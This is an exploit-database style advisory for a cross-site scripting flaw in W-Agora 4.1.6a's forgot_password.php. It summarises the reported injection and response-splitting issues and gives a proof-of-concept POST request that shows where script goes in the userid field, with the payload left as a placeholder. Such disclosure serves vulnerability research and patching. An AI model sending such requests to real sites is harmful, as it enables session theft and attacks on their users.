W-Agora 4.1.6 - 'a forgot_password.php?userid' Cross-Site Scripting

source: https://www.securityfocus.com/bid/11283/info
 
Multiple vulnerabilities are reported to affect the application. These issues arise due to insufficient sanitization of user-supplied data. A remote attacker may leverage these vulnerabilities to carry out SQL injection, cross-site scripting, and HTTP response splitting attacks.
 
These issues were identified in W-Agora 4.1.6a, however, it is possible that other versions are also affected.

POST /forgot_password.php HTTP/1.1
Host: w-agora
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
go=1&userid=[XSS code here]